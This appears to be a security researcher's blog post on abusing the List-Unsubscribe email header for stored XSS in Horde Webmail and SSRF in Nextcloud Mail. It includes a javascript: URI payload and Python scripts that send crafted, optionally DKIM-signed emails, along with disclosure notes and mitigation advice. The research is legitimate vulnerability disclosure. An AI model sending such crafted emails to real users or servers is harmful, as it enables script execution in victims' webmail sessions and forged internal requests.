The List-Unsubscribe SMTP header is standardized but often overlooked during security assessments. It allows email clients to provide an easy way for end-users to unsubscribe from mailing lists.
This post discusses how this header can be abused to perform Cross-Site Scripting (XSS) and Server-Side Request Forgery (SSRF) attacks in certain scenarios. Real-world examples involving Horde Webmail (CVE-2025-68673) and Nextcloud Mail App are provided to illustrate the risks.
The List-Unsubscribe SMTP header is defined in RFC 23691 and allows email clients to provide an easy way for end-users to unsubscribe from mailing lists.
The following examples were taken from RFC 2369, section 3.2:
The List-Unsubscribe field describes the command (preferably using mail) to directly unsubscribe the user (removing them from the list).
Examples:
List-Unsubscribe: <mailto:[email protected]?subject=unsubscribe> List-Unsubscribe: (Use this command to get off the list) <mailto:[email protected]?body=unsubscribe%20list> List-Unsubscribe: <mailto:[email protected]> List-Unsubscribe: <http://www.host.com/list.cgi?cmd=unsub&lst=list>, <mailto:[email protected]?subject=unsubscribe>
In theory, that’s it. Does not sound too exciting for now, right?
Easy to miss, but the most interesting example was the very last one, which includes both an HTTP URI and a mailto link. Can we simply add arbitrary http(s):// URIs here? What about other schemes?
Many modern email clients and webmail applications have implemented support for this header to improve user experience. For example, when an email includes a List-Unsubscribe header, the client may render a button or link that allows the user to unsubscribe with a single click. This is especially interesting in the context of webmail applications, where the unsubscription process can be initiated directly from the web interface. Anchor tags, URIs, … JavaScript URIs? The possibilities are endless.
Alternatively, some webmail applications send the unsubscription request server-side when the end-user clicks the unsubscribe button. This can lead to Server-Side Request Forgery (SSRF) vulnerabilities if the application does not properly validate the provided URI.
A real-world example of a Stored Cross-Site Scripting (XSS) vulnerability was identified in Horde (Imp H5 v6.2.27, used with Horde Framework through 5.2.23). When an email includes a List-Unsubscribe SMTP header, a button is rendered within the message detail view that allows users to unsubscribe directly from mailing lists.
A malicious actor can exploit this behavior by including a JavaScript URI (javascript:), which allows them to execute JavaScript in the origin of the Horde installation when an end-user clicks the link:
<table class="horde-table mailinglistinfo">
<tbody>
<tr>
<td>Unsubscribe</td>
<td><a href="javascript://lhq.at/%0aconfirm(document.domain)" target="_blank">javascript://lhq.at/%0aconfirm(document.domain)</a></td>
</tr>
</tbody>
</table>
The following steps can be taken to reproduce the issue:
<javascript://lhq.at/%0aconfirm(document.domain)> within the List-Unsubscribe. Adjust smtp_user and smtp_password as needed:#!/usr/bin/env python3
import smtplib
from email.message import EmailMessage
def send_email(smtp_server, smtp_port, smtp_user, smtp_password, sender, recipient, subject, body, headers=None):
try:
# Create the email message
msg = EmailMessage()
msg.set_content(body)
msg['From'] = sender
msg['To'] = recipient
msg['Subject'] = subject
# Add custom headers if provided
if headers:
for header, value in headers.items():
msg[header] = value
# Connect to the SMTP server and send the email
with smtplib.SMTP(smtp_server, smtp_port) as server:
print(f"Connecting to SMTP server: {smtp_server}:{smtp_port}")
server.starttls()
print("Starting TLS encryption")
server.login(smtp_user, smtp_password)
print(f"Logged in as {smtp_user}")
server.send_message(msg)
print(f"Email sent to {recipient} successfully.")
except Exception as e:
print(f"Failed to send email: {e}")
if __name__ == "__main__":
smtp_server = 'mail.your-server.de'
smtp_port = 587
smtp_user = '[REDACTED]'
smtp_password = '[REDACTED]'
sender = '[email protected]'
recipient = '[email protected]'
subject = 'Test Mail'
body = """
Hey!
"""
headers = {
'List-Unsubscribe': '<javascript://lhq.at/%0aconfirm(document.domain)>',
'List-Unsubscribe-Post': 'List-Unsubscribe=One-Click'
}
send_email(smtp_server, smtp_port, smtp_user, smtp_password, sender, recipient, subject, body, headers)
Navigate to Message Detail view (pop-up): https://[REDACTED]/imp/dynamic.php?page=message&buid=10&mailbox=[REDACTED]&token=[REDACTED]&uniq=[REDACTED]
Click “List Info”: https://[REDACTED]/imp/dynamic.php?page=message&buid=10&mailbox=[REDACTED]&token=[REDACTED]&uniq=[REDACTED]
Notice that the unsubscribe link at https://[REDACTED]/imp/basic.php?page=listinfo&u=[REDACTED]&buid=10&mailbox=SU5CT1g&uniq=[REDACTED] includes the JavaScript URI:
<table class="horde-table mailinglistinfo">
<tbody>
<tr>
<td>Unsubscribe</td>
<td><a href="javascript://lhq.at/%0aconfirm(document.domain)" target="_blank">javascript://lhq.at/%0aconfirm(document.domain)</a></td>
</tr>
</tbody>
</table>
Click the link and observe the JavaScript evaluation. Because target="_blank" is used, you need to either:
This was reported to [email protected] on 2024-12-18 but was not yet acknowledged as of 2025-12-18.
Nextcloud’s Mail app supports the List-Unsubscribe SMTP header to unsubscribe from mailing lists:

When the end-user unsubscribes, the Nextcloud instance issues a server-side request:

During my research, it looked like Nextcloud would allow forging SSRF requests via the List-Unsubscribe header to arbitrary internal destinations. However, this seems to be possible only if the development configuration flag 'allow_local_remote_servers' => true is set or other supporting factors are present that allow exploitation. This is based on Nextcloud’s evaluation in hackerone.com/reports/2902856.
Note that to enable unsubscription via HTTPS, a valid DKIM signature is required. The following Python script expects that you have DKIM set up and have your private key at hand: send.py
#!/usr/bin/env python3
import smtplib
from email.message import EmailMessage
import dkim
def send_email(smtp_server, smtp_port, smtp_user, smtp_password, sender, recipient, subject, body, headers=None, dkim_selector=None, dkim_domain=None, dkim_private_key=None):
try:
# Create the email message
msg = EmailMessage()
msg.set_content(body)
msg['From'] = sender
msg['To'] = recipient
msg['Subject'] = subject
# Add custom headers if provided
if headers:
for header, value in headers.items():
msg[header] = value
# Convert the EmailMessage to bytes for DKIM signing
email_bytes = msg.as_bytes()
# Add DKIM signature if provided
if dkim_selector and dkim_domain and dkim_private_key:
dkim_header = dkim.sign(
message=email_bytes,
selector=dkim_selector.encode(),
domain=dkim_domain.encode(),
privkey=dkim_private_key.encode(),
include_headers=['From', 'To', 'Subject']
)
msg['DKIM-Signature'] = dkim_header[len('DKIM-Signature: '):].decode().replace("\n", "").replace("\r", "")
# Connect to the SMTP server and send the email
with smtplib.SMTP(smtp_server, smtp_port) as server:
print(f"Connecting to SMTP server: {smtp_server}:{smtp_port}")
server.starttls()
print("Starting TLS encryption")
server.login(smtp_user, smtp_password)
print(f"Logged in as {smtp_user}")
server.send_message(msg)
print(f"Email sent to {recipient} successfully.")
except Exception as e:
print(f"Failed to send email: {e}")
# Example usage
if __name__ == "__main__":
smtp_server = 'mail.your-server.de'
smtp_port = 587
smtp_user = '[REDACTED]'
smtp_password = '[REDACTED]'
sender = '[email protected]'
recipient = '[email protected]'
subject = '[Your Mailing List] Test Mail'
body = """
<s>Test123!
"""
headers = {
'List-Unsubscribe': '<http://abcdef.oastify.com>',
'List-Unsubscribe-Post': 'List-Unsubscribe=One-Click'
}
dkim_selector = 'default'
dkim_domain = 'lhq.at'
dkim_private_key = """-----BEGIN PRIVATE KEY-----
[REDACTED]
-----END PRIVATE KEY-----"""
send_email(smtp_server, smtp_port, smtp_user, smtp_password, sender, recipient, subject, body, headers, dkim_selector, dkim_domain, dkim_private_key)
The following steps can be taken to reproduce the SSRF with external collaborator:
dkim_selector, dkim_domain and dkim_private_key.smtp_user and smtp_password.recipient.'List-Unsubscribe': '<http://abcdef.oastify.com>'.python send.py.The general recommendation is as simple and self-explanatory as it gets: Consider all input to the application as potentially dangerous, especially when interpreted as a URI/URL.
When implementing support for the List-Unsubscribe SMTP header, webmail applications should:
javascript: URIs. For further guidance, refer to OWASP XSS Prevention Cheat Sheet2.This post once again showcases that old standards and protocols can still harbor interesting security implications when implemented in modern applications. The List-Unsubscribe SMTP header, while designed to enhance user experience, can be exploited for XSS and SSRF attacks if not handled properly.
If your bug bounty or pentest target includes a webmail application, consider testing the List-Unsubscribe header for potential vulnerabilities. You might be surprised by what you find!
Generally speaking, this research highlights the importance of reading and understanding relevant RFCs and standards when assessing applications that implement them. Even seemingly benign features can introduce significant security risks if not implemented with care.
If you have any feedback, feel free to reach out via BlueSky, Mastodon, Twitter or LinkedIn. 👨💻
You can directly tweet about this post using this link. 🤓